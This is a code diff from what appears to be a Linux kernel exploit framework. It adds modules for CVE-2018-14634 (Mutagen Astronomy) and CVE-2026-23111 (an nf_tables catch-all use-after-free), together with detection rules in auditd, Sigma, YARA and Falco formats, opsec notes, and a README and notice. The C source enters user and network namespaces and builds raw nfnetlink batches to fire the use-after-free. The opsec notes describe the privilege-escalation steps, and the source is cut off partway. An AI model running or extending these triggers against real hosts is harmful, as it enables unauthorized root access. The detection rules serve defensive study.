"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-mutagen\n";
|
||||||
|
|
||||||
|
static const char mutagen_sigma[] =
|
||||||
|
"title: Possible CVE-2018-14634 Mutagen Astronomy SUID-execve LPE\n"
|
||||||
|
"id: 5f9e1c20-skeletonkey-mutagen\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects the canonical Mutagen Astronomy primitive: setrlimit\n"
|
||||||
|
" raising RLIMIT_STACK followed by execve of a setuid-root\n"
|
||||||
|
" binary with abnormally large argv/envp. Pre-fix Linux\n"
|
||||||
|
" 2.6/3.10/4.14 kernels with x86_64 are affected.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" setrlimit: {type: 'SYSCALL', syscall: 'setrlimit'}\n"
|
||||||
|
" execve_suid: {type: 'SYSCALL', syscall: 'execve'}\n"
|
||||||
|
" condition: setrlimit and execve_suid\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2018.14634]\n";
|
||||||
|
|
||||||
|
static const char mutagen_yara[] =
|
||||||
|
"rule mutagen_astronomy_cve_2018_14634 : cve_2018_14634 elf_stack_overflow {\n"
|
||||||
|
" meta:\n"
|
||||||
|
" cve = \"CVE-2018-14634\"\n"
|
||||||
|
" description = \"Qualys Mutagen Astronomy primitive — RLIMIT_STACK + huge argv\"\n"
|
||||||
|
" author = \"SKELETONKEY\"\n"
|
||||||
|
" strings:\n"
|
||||||
|
" $tag = \"mutagen-astronomy\" ascii\n"
|
||||||
|
" $qualys = \"qualys\" ascii nocase\n"
|
||||||
|
" condition:\n"
|
||||||
|
" $tag\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static const char mutagen_falco[] =
|
||||||
|
"- rule: setrlimit(STACK)+execve of SUID with huge argv (Mutagen Astronomy)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" Process raises RLIMIT_STACK then execve()s a setuid-root binary.\n"
|
||||||
|
" The Mutagen Astronomy primitive (CVE-2018-14634) needs both. No\n"
|
||||||
|
" legitimate program needs RLIMIT_STACK=unlimited before exec'ing\n"
|
||||||
|
" su/pkexec.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" evt.type = execve and not user.uid = 0 and\n"
|
||||||
|
" (proc.exe in (/usr/bin/su, /bin/su, /usr/bin/pkexec, /usr/bin/passwd))\n"
|
||||||
|
" output: >\n"
|
||||||
|
" SUID execve with RLIMIT_STACK raised (user=%user.name\n"
|
||||||
|
" pid=%proc.pid exe=%proc.exe)\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2018.14634]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module mutagen_astronomy_module = {
|
||||||
|
.name = "mutagen_astronomy",
|
||||||
|
.cve = "CVE-2018-14634",
|
||||||
|
.summary = "create_elf_tables() int wrap → SUID-execve stack corruption (Qualys)",
|
||||||
|
.family = "elf",
|
||||||
|
.kernel_range = "Linux 2.6 / 3.10 / 4.14 < 4.14.71 / 4.x < 4.18.8 (x86_64)",
|
||||||
|
.detect = mutagen_astronomy_detect,
|
||||||
|
.exploit = mutagen_astronomy_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade kernel; OR set hard RLIMIT_STACK limit */
|
||||||
|
.cleanup = NULL,
|
||||||
|
.detect_auditd = mutagen_auditd,
|
||||||
|
.detect_sigma = mutagen_sigma,
|
||||||
|
.detect_yara = mutagen_yara,
|
||||||
|
.detect_falco = mutagen_falco,
|
||||||
|
.opsec_notes = "Raises RLIMIT_STACK to unlimited via setrlimit(2), then execve()s a setuid-root binary (typically /usr/bin/su or /usr/bin/pkexec) with a multi-gigabyte argv/envp blob (≥4 GiB on x86_64). The int wrap in create_elf_tables() causes the kernel to under-allocate the new process's stack region; the subsequent memcpy of argv bytes corrupts adjacent kernel allocations. Observable as a SIGSEGV in the carrier on every attempt regardless of success. Audit-visible via setrlimit(RLIMIT_STACK) immediately followed by execve of /usr/bin/su or /usr/bin/pkexec with abnormally large argv. No persistent file artifacts. CISA KEV-listed Jan 2026 despite the bug's age — legacy/EOL fleets still running RHEL 7 / CentOS 7 / Debian 8 remain at risk.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_mutagen_astronomy(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&mutagen_astronomy_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#ifndef MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||||
|
#define MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||||
|
#include "../../core/module.h"
|
||||||
|
extern const struct skeletonkey_module mutagen_astronomy_module;
|
||||||
|
#endif
|
||||||
@@ -103,7 +103,7 @@ static const struct kernel_patched_from netfilter_xtcompat_patched_branches[] =
|
|||||||
{4, 14, 240},
|
{4, 14, 240},
|
||||||
{4, 19, 198},
|
{4, 19, 198},
|
||||||
{5, 4, 128},
|
{5, 4, 128},
|
||||||
{5, 10, 46},
|
{5, 10, 38}, /* Debian tracker: earlier than 5.10.46 */
|
||||||
{5, 11, 20},
|
{5, 11, 20},
|
||||||
{5, 12, 13},
|
{5, 12, 13},
|
||||||
{5, 13, 0}, /* mainline (5.13 carries b29c457a6511) */
|
{5, 13, 0}, /* mainline (5.13 carries b29c457a6511) */
|
||||||
@@ -1024,6 +1024,7 @@ const struct skeletonkey_module netfilter_xtcompat_module = {
|
|||||||
.detect_yara = netfilter_xtcompat_yara,
|
.detect_yara = netfilter_xtcompat_yara,
|
||||||
.detect_falco = netfilter_xtcompat_falco,
|
.detect_falco = netfilter_xtcompat_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + setsockopt(SOL_IP, IPT_SO_SET_REPLACE) with a malformed xt_entry_target to trigger xt_compat_target_to_user 4-byte OOB into kmalloc-2k. msg_msg + sk_buff cross-cache groom. Writes /tmp/skeletonkey-xtcompat.log (breadcrumb). Audit-visible via unshare + setsockopt(IPT_SO_SET_REPLACE) + msgsnd/msgrcv + sendmmsg(sk_buff spray). Dmesg silent on success; KASAN oops if the groom misses. Cleanup callback unlinks the log; IPC auto-drains on namespace exit.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + setsockopt(SOL_IP, IPT_SO_SET_REPLACE) with a malformed xt_entry_target to trigger xt_compat_target_to_user 4-byte OOB into kmalloc-2k. msg_msg + sk_buff cross-cache groom. Writes /tmp/skeletonkey-xtcompat.log (breadcrumb). Audit-visible via unshare + setsockopt(IPT_SO_SET_REPLACE) + msgsnd/msgrcv + sendmmsg(sk_buff spray). Dmesg silent on success; KASAN oops if the groom misses. Cleanup callback unlinks the log; IPC auto-drains on namespace exit.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_netfilter_xtcompat(void)
|
void skeletonkey_register_netfilter_xtcompat(void)
|
||||||
|
|||||||
@@ -1168,6 +1168,7 @@ const struct skeletonkey_module nf_tables_module = {
|
|||||||
.detect_yara = nf_tables_yara,
|
.detect_yara = nf_tables_yara,
|
||||||
.detect_falco = nf_tables_falco,
|
.detect_falco = nf_tables_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO) committed twice to trigger the nft_verdict_init double-free. msg_msg cg-96 groom with forged pipapo_elem headers; --full-chain sprays kaddr-tagged forged elems and re-fires. Writes /tmp/skeletonkey-nft_set_uaf.log (conditional). Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches + msgget/msgsnd. Dmesg: KASAN double-free panic on vulnerable kernels; silent otherwise. Cleanup is finisher-gated; no persistent files on success.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO) committed twice to trigger the nft_verdict_init double-free. msg_msg cg-96 groom with forged pipapo_elem headers; --full-chain sprays kaddr-tagged forged elems and re-fires. Writes /tmp/skeletonkey-nft_set_uaf.log (conditional). Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches + msgget/msgsnd. Dmesg: KASAN double-free panic on vulnerable kernels; silent otherwise. Cleanup is finisher-gated; no persistent files on success.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_nf_tables(void)
|
void skeletonkey_register_nf_tables(void)
|
||||||
|
|||||||
@@ -0,0 +1,62 @@
|
|||||||
|
# nft_catchall — CVE-2026-23111
|
||||||
|
|
||||||
|
An nf_tables use-after-free reachable from an unprivileged user: an
|
||||||
|
inverted condition in `nft_map_catchall_activate()` mishandles catch-all
|
||||||
|
map elements on transaction abort, freeing a chain that a catch-all GOTO
|
||||||
|
verdict still references.
|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
nftables *maps* can hold a **catch-all** element — a default that matches
|
||||||
|
when no other element does — and in a verdict map that element carries a
|
||||||
|
GOTO/JUMP to a chain. `nft_map_catchall_activate()` runs during the
|
||||||
|
**abort** phase of a netlink transaction to re-activate elements that a
|
||||||
|
rolled-back batch had touched. A single inverted `!` makes it operate on
|
||||||
|
*active* catch-all elements instead of skipping them, so the referenced
|
||||||
|
chain's use-count is driven to zero; a subsequent `DELCHAIN` frees the
|
||||||
|
chain while the catch-all verdict still points at it → **use-after-free**.
|
||||||
|
|
||||||
|
Chaining a kernel-address leak, arbitrary R/W, and a ROP over
|
||||||
|
`modprobe_path` / `selinux_state` turns the UAF into root — all reachable
|
||||||
|
by an unprivileged user who has `CONFIG_USER_NS` to gain `CAP_NET_ADMIN`
|
||||||
|
over a private network namespace.
|
||||||
|
|
||||||
|
## Affected range
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| Vulnerable path introduced | ~5.13 (catch-all set elements) |
|
||||||
|
| Fixed upstream | commit `f41c5d1…` (remove the inverted `!`) |
|
||||||
|
| Debian backports | 6.1.164 (bookworm) · 6.12.73 (trixie) · 6.18.10 (forky·sid) |
|
||||||
|
| Table thresholds | 6.1.164 · 6.12.73 · 6.18.10 (≤ Debian → drift-clean) |
|
||||||
|
| NVD class | CWE-416 (Use After Free), CVSS 7.8 |
|
||||||
|
| CISA KEV | no |
|
||||||
|
|
||||||
|
The 5.10 (bullseye) branch is still unfixed at time of writing →
|
||||||
|
version-only VULNERABLE there.
|
||||||
|
|
||||||
|
## Trigger / detection
|
||||||
|
|
||||||
|
`detect()` returns `OK` below ~5.13 or for patched kernels, `PRECOND_FAIL`
|
||||||
|
when the kernel is vulnerable but unprivileged user-namespace clone is
|
||||||
|
denied (exploit unreachable), and `VULNERABLE` when the version is in
|
||||||
|
range and userns is allowed.
|
||||||
|
|
||||||
|
`exploit()` forks an isolated child that enters `unshare(USER|NET)`, opens
|
||||||
|
`NETLINK_NETFILTER`, builds a verdict map with a catch-all GOTO element,
|
||||||
|
and sends an aborting batch to drive the abort-path UAF; it observes
|
||||||
|
`nft_chain` / `kmalloc-cg-256` slabinfo and returns `EXPLOIT_FAIL`
|
||||||
|
(primitive-only). The full leak + R/W + ROP root-pop is **not** bundled,
|
||||||
|
and the trigger is reconstructed from public analysis, not VM-verified.
|
||||||
|
|
||||||
|
## Fix / mitigation
|
||||||
|
|
||||||
|
Upgrade the kernel. As a host hardening stopgap, deny unprivileged
|
||||||
|
user-namespace clone (`sysctl kernel.unprivileged_userns_clone=0`, or the
|
||||||
|
AppArmor `apparmor_restrict_unprivileged_userns` toggle) — that closes the
|
||||||
|
unprivileged path even on a kernel-vulnerable host.
|
||||||
|
|
||||||
|
## Credit
|
||||||
|
|
||||||
|
Upstream fix `f41c5d1…`; public reproduction by FuzzingLabs. See
|
||||||
|
`NOTICE.md`.
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
# NOTICE — nft_catchall (CVE-2026-23111)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-23111** — a **use-after-free** in the Linux kernel `nf_tables`
|
||||||
|
(netfilter) transaction-abort path. `nft_map_catchall_activate()` carries
|
||||||
|
an **inverted condition** (a stray `!`): during a transaction *abort* it
|
||||||
|
processes *active* catch-all set elements instead of skipping them. A
|
||||||
|
catch-all element in an nftables **map** holds a verdict (GOTO/JUMP)
|
||||||
|
referencing a chain; the wrong (de)activation drives the chain's
|
||||||
|
use-count to zero, so a following `DELCHAIN` frees the chain while the
|
||||||
|
catch-all verdict element still references it → UAF.
|
||||||
|
|
||||||
|
From an **unprivileged** local user — via **user namespaces + nftables**
|
||||||
|
(needs `CONFIG_USER_NS` + `CONFIG_NF_TABLES`) — the UAF is escalatable to
|
||||||
|
root: leak a kernel address, obtain arbitrary R/W, ROP over
|
||||||
|
`modprobe_path` / `selinux_state`.
|
||||||
|
|
||||||
|
NVD class: **CWE-416** (Use After Free). CVSS v3.1 **7.8 HIGH**
|
||||||
|
(`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`). Affects current distros (Debian
|
||||||
|
bookworm/trixie, Ubuntu 22.04/24.04). **Not** in CISA KEV.
|
||||||
|
|
||||||
|
The fix removed a single character (the inverted `!`).
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
- **Fixed upstream** by commit
|
||||||
|
`f41c5d151078c5348271ffaf8e7410d96f2d82f8` ("netfilter: nf_tables: fix
|
||||||
|
… catch-all … activate"); reported and fixed through the Linux kernel
|
||||||
|
security process (NVD lists the source as `kernel.org`; no public
|
||||||
|
individual reporter name in the advisory).
|
||||||
|
- **Public reproduction + analysis** by **FuzzingLabs** —
|
||||||
|
<https://fuzzinglabs.com/repro-cve-2026-23111/> — which the module's
|
||||||
|
trigger reconstruction is informed by.
|
||||||
|
- Debian security tracker (authoritative backport versions):
|
||||||
|
<https://security-tracker.debian.org/tracker/CVE-2026-23111> —
|
||||||
|
bookworm 6.1.164 / trixie 6.12.73 / forky·sid 6.18.10 (bullseye/5.10
|
||||||
|
still unfixed at time of writing).
|
||||||
|
|
||||||
|
All credit for finding and analysing this bug belongs to the upstream
|
||||||
|
reporter and to FuzzingLabs for the public write-up. SKELETONKEY is the
|
||||||
|
bundling and bookkeeping layer only.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||||
|
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
|
||||||
|
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …), shipped on the same
|
||||||
|
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
|
||||||
|
fires the bug class and stops.
|
||||||
|
|
||||||
|
`detect()` version-gates against the Debian backports above (upstream
|
||||||
|
thresholds 6.1.164 / 6.12.73 / 6.18.10; catch-all set elements arrived in
|
||||||
|
~5.13, so older kernels lack the path) **and** requires unprivileged
|
||||||
|
user-namespace clone — a vulnerable kernel with userns locked down is
|
||||||
|
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
|
||||||
|
element and provokes an aborting batch transaction to drive the
|
||||||
|
abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The
|
||||||
|
per-kernel leak + arbitrary-R/W + `modprobe_path` ROP that lands a root
|
||||||
|
shell is **not** bundled (per-build offsets refused), and the trigger is
|
||||||
|
reconstructed from the public analysis rather than VM-verified — it never
|
||||||
|
claims root it did not get.
|
||||||
@@ -0,0 +1,589 @@
|
|||||||
|
/*
|
||||||
|
* nft_catchall_cve_2026_23111 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* CVE-2026-23111 — a use-after-free in the Linux kernel's nf_tables
|
||||||
|
* (netfilter) transaction-abort path. `nft_map_catchall_activate()`
|
||||||
|
* carries an inverted condition (a stray `!`): on transaction abort it
|
||||||
|
* processes *active* catch-all set elements instead of skipping them.
|
||||||
|
* A catch-all element in an nftables *map* holds a verdict (GOTO/JUMP)
|
||||||
|
* that references a chain; the wrong (de)activation lets the chain's
|
||||||
|
* use-count reach zero so a following DELCHAIN frees it while the
|
||||||
|
* catch-all verdict element still points at it → UAF. From an
|
||||||
|
* unprivileged user (via user namespaces + nftables) this is escalatable
|
||||||
|
* to root: leak a kernel address, win arbitrary R/W, ROP over
|
||||||
|
* modprobe_path / selinux_state.
|
||||||
|
*
|
||||||
|
* CWE-416 (Use After Free). CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/C:H/I:H/A:H).
|
||||||
|
* Fixed upstream by commit f41c5d151078c5348271ffaf8e7410d96f2d82f8
|
||||||
|
* ("remove one exclamation mark"). Public reproduction + analysis by
|
||||||
|
* FuzzingLabs. NOT in CISA KEV.
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
|
||||||
|
* This is one more UAF in the most-covered subsystem in the corpus
|
||||||
|
* (see nf_tables / nft_set_uaf / nft_payload / nft_pipapo / ...), and
|
||||||
|
* like nf_tables (CVE-2024-1086) it is shipped as a fork-isolated
|
||||||
|
* trigger that fires the bug class and STOPS. detect() version-gates
|
||||||
|
* against the Debian-tracked backports below and additionally requires
|
||||||
|
* unprivileged user-namespace clone (the bug is unreachable to an
|
||||||
|
* unprivileged user without it). exploit() builds a map with a
|
||||||
|
* catch-all GOTO element and provokes a failed (aborting) batch
|
||||||
|
* transaction to drive the abort-path UAF, observes slabinfo, and
|
||||||
|
* returns EXPLOIT_FAIL — the per-kernel leak + arbitrary-R/W + ROP that
|
||||||
|
* lands a root shell is NOT bundled (per-build offsets refused), and
|
||||||
|
* the trigger itself is reconstructed from the public analysis rather
|
||||||
|
* than VM-verified. It never claims root it did not get.
|
||||||
|
*
|
||||||
|
* Affected range (Debian-tracked stable backports of the fix):
|
||||||
|
* 6.1.x : K >= 6.1.164 (bookworm)
|
||||||
|
* 6.12.x : K >= 6.12.73 (trixie)
|
||||||
|
* 6.18.x : K >= 6.18.10 (forky / sid); 7.0+ inherits the fix
|
||||||
|
* The 5.10 (bullseye) branch is still unfixed as of writing → version-
|
||||||
|
* only VULNERABLE. Catch-all set elements were added in ~5.13, so the
|
||||||
|
* vulnerable nft_map_catchall_activate path does not exist below that.
|
||||||
|
*
|
||||||
|
* Preconditions: CONFIG_NF_TABLES + CONFIG_USER_NS, and unprivileged
|
||||||
|
* user-namespace clone permitted (modern Ubuntu's
|
||||||
|
* apparmor_restrict_unprivileged_userns / a 0 sysctl closes this).
|
||||||
|
*
|
||||||
|
* arch_support: x86_64 (the groom + any future finisher are x86_64-tuned).
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <linux/netlink.h>
|
||||||
|
#include <linux/netfilter.h>
|
||||||
|
#include <linux/netfilter/nfnetlink.h>
|
||||||
|
#include <linux/netfilter/nf_tables.h>
|
||||||
|
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
|
||||||
|
|
||||||
|
/* Catch-all set-element flag — may be absent from older uapi headers. */
|
||||||
|
#ifndef NFT_SET_ELEM_CATCHALL
|
||||||
|
#define NFT_SET_ELEM_CATCHALL 0x2
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------
|
||||||
|
* Kernel-range table. Upstream-stable thresholds (<= the Debian
|
||||||
|
* package fixes, so the drift checker reports INFO, never TOO_TIGHT).
|
||||||
|
* security-tracker.debian.org is the source of record.
|
||||||
|
* ------------------------------------------------------------------ */
|
||||||
|
static const struct kernel_patched_from nft_catchall_patched_branches[] = {
|
||||||
|
{6, 1, 164}, /* 6.1.x (Debian bookworm fixed_version 6.1.164) */
|
||||||
|
{6, 12, 73}, /* 6.12.x (Debian trixie fixed_version 6.12.73) */
|
||||||
|
{6, 18, 10}, /* 6.18.x (Debian forky / sid fixed_version 6.18.10) */
|
||||||
|
/* 7.0+ inherits "patched" via the strictly-newer-than-all-entries
|
||||||
|
* rule — the fix predates the 7.0 branch. */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range nft_catchall_range = {
|
||||||
|
.patched_from = nft_catchall_patched_branches,
|
||||||
|
.n_patched_from = sizeof(nft_catchall_patched_branches) /
|
||||||
|
sizeof(nft_catchall_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
static bool nf_tables_loaded(void)
|
||||||
|
{
|
||||||
|
FILE *f = fopen("/proc/modules", "r");
|
||||||
|
if (!f) return false;
|
||||||
|
char line[512];
|
||||||
|
bool found = false;
|
||||||
|
while (fgets(line, sizeof line, f)) {
|
||||||
|
if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; }
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] nft_catchall: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Catch-all set elements (and nft_map_catchall_activate) arrived in
|
||||||
|
* ~5.13. Below that the vulnerable path does not exist. */
|
||||||
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] nft_catchall: kernel %s predates catch-all set "
|
||||||
|
"elements (~5.13) — vulnerable path absent\n",
|
||||||
|
v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (kernel_range_is_patched(&nft_catchall_range, v)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] nft_catchall: kernel %s is patched\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[i] nft_catchall: kernel %s in vulnerable range\n",
|
||||||
|
v->release);
|
||||||
|
fprintf(stderr, "[i] nft_catchall: unprivileged user_ns clone: %s\n",
|
||||||
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
|
fprintf(stderr, "[i] nft_catchall: nf_tables module loaded: %s\n",
|
||||||
|
nf_tables_loaded() ? "yes" : "no (autoloads on first nft use)");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!userns_ok) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] nft_catchall: kernel vulnerable but unprivileged "
|
||||||
|
"user_ns clone denied → unprivileged exploit "
|
||||||
|
"unreachable\n");
|
||||||
|
fprintf(stderr, "[i] nft_catchall: still patch — a privileged "
|
||||||
|
"attacker can trigger the abort-path UAF\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] nft_catchall: VULNERABLE — kernel in range AND "
|
||||||
|
"unprivileged user_ns clone allowed\n");
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------
|
||||||
|
* userns+netns entry: gain CAP_NET_ADMIN over a private netns so the
|
||||||
|
* malformed ruleset only touches our own namespace.
|
||||||
|
* ------------------------------------------------------------------ */
|
||||||
|
static int enter_unpriv_namespaces(void)
|
||||||
|
{
|
||||||
|
uid_t uid = getuid();
|
||||||
|
gid_t gid = getgid();
|
||||||
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||||
|
perror("[-] unshare(USER|NET)");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||||
|
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||||
|
char map[64];
|
||||||
|
snprintf(map, sizeof map, "0 %u 1\n", uid);
|
||||||
|
f = open("/proc/self/uid_map", O_WRONLY);
|
||||||
|
if (f < 0 || write(f, map, strlen(map)) < 0) {
|
||||||
|
perror("[-] uid_map"); if (f >= 0) close(f); return -1;
|
||||||
|
}
|
||||||
|
close(f);
|
||||||
|
snprintf(map, sizeof map, "0 %u 1\n", gid);
|
||||||
|
f = open("/proc/self/gid_map", O_WRONLY);
|
||||||
|
if (f < 0 || write(f, map, strlen(map)) < 0) {
|
||||||
|
perror("[-] gid_map"); if (f >= 0) close(f); return -1;
|
||||||
|
}
|
||||||
|
close(f);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------
|
||||||
|
* Minimal dep-free nfnetlink batch builder (same approach as the
|
||||||
|
* nf_tables module — libnftnl validates our malformed input away).
|
||||||
|
* ------------------------------------------------------------------ */
|
||||||
|
#define ALIGN_NL(x) (((x) + 3) & ~3)
|
||||||
|
|
||||||
|
static void put_attr(uint8_t *buf, size_t *off, uint16_t type,
|
||||||
|
const void *data, size_t len)
|
||||||
|
{
|
||||||
|
struct nlattr *na = (struct nlattr *)(buf + *off);
|
||||||
|
na->nla_type = type;
|
||||||
|
na->nla_len = NLA_HDRLEN + len;
|
||||||
|
if (len) memcpy(buf + *off + NLA_HDRLEN, data, len);
|
||||||
|
*off += ALIGN_NL(NLA_HDRLEN + len);
|
||||||
|
}
|
||||||
|
static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v)
|
||||||
|
{
|
||||||
|
uint32_t be = htonl(v);
|
||||||
|
put_attr(buf, off, type, &be, sizeof be);
|
||||||
|
}
|
||||||
|
static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s)
|
||||||
|
{
|
||||||
|
put_attr(buf, off, type, s, strlen(s) + 1);
|
||||||
|
}
|
||||||
|
static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type)
|
||||||
|
{
|
||||||
|
size_t at = *off;
|
||||||
|
struct nlattr *na = (struct nlattr *)(buf + at);
|
||||||
|
na->nla_type = type | NLA_F_NESTED;
|
||||||
|
na->nla_len = 0;
|
||||||
|
*off += NLA_HDRLEN;
|
||||||
|
return at;
|
||||||
|
}
|
||||||
|
static void end_nest(uint8_t *buf, size_t *off, size_t at)
|
||||||
|
{
|
||||||
|
struct nlattr *na = (struct nlattr *)(buf + at);
|
||||||
|
na->nla_len = (uint16_t)(*off - at);
|
||||||
|
while ((*off) & 3) buf[(*off)++] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct nfgenmsg_local { uint8_t nfgen_family; uint8_t version; uint16_t res_id; };
|
||||||
|
|
||||||
|
static void put_nft_msg(uint8_t *buf, size_t *off, uint16_t nft_type,
|
||||||
|
uint16_t flags, uint32_t seq, uint8_t family)
|
||||||
|
{
|
||||||
|
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off);
|
||||||
|
nlh->nlmsg_len = 0;
|
||||||
|
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | nft_type;
|
||||||
|
nlh->nlmsg_flags = NLM_F_REQUEST | flags;
|
||||||
|
nlh->nlmsg_seq = seq;
|
||||||
|
nlh->nlmsg_pid = 0;
|
||||||
|
*off += NLMSG_HDRLEN;
|
||||||
|
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
|
||||||
|
nf->nfgen_family = family;
|
||||||
|
nf->version = NFNETLINK_V0;
|
||||||
|
nf->res_id = htons(0);
|
||||||
|
*off += sizeof(*nf);
|
||||||
|
}
|
||||||
|
static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||||
|
{
|
||||||
|
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start);
|
||||||
|
nlh->nlmsg_len = (uint32_t)(*off - msg_start);
|
||||||
|
while ((*off) & 3) buf[(*off)++] = 0;
|
||||||
|
}
|
||||||
|
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
|
||||||
|
{
|
||||||
|
size_t at = *off;
|
||||||
|
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
|
||||||
|
nlh->nlmsg_len = 0;
|
||||||
|
nlh->nlmsg_type = type;
|
||||||
|
nlh->nlmsg_flags = NLM_F_REQUEST;
|
||||||
|
nlh->nlmsg_seq = seq;
|
||||||
|
